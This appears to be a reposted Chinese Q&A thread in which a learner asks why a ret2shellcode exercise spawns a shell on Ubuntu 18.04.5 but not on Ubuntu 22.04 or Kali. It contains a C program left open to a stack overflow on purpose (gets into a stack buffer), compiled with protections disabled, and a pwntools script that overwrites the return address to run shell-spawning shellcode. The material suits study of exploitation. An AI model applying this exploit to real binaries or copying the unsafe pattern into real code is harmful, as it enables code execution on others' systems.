为何ret2shellcode在Ubuntu 22.04执行失败,却在Ubuntu 18.04.5成功?
Ret2shellcode跨环境失效问题
正在学习ret2shellcode技术,在Ubuntu 22.04和Kali 2022.2环境中尝试时均无法获取shell,但在VirtualBox搭建的Ubuntu 18.04.5环境中,使用相同的PWN脚本却能成功。
相关代码与信息
C代码
#include <stdio.h> #include <string.h> char buf[0X100]; void vuln(){ char s[0x100]; gets(s); puts(s); strcpy(buf, s); } int main(int argc, char *argv[]) { vuln(); return 0; }
编译命令
gcc -m32 -fno-stack-protector -z execstack -no-pie main.c -o main
PWN脚本
from pwn import * context(arch="i386", os="linux") code = shellcraft.sh() shellcode = asm(code) io = process("./main") l = 0x108 - len(shellcode) location = 0x0804C040 # need to update, use ida to find the address of shellcode payload = shellcode + l * b"a" + 4 * b"b" + p32(location) io.sendline(payload) io.interactive()
已排查情况
已排查过gcc、Python3及pwntools版本差异的影响,仍未找到原因,恳请各位帮忙解答,谢谢!
内容的提问来源于stack exchange,提问作者Ma Paul
相关产品推荐
相关产品推荐

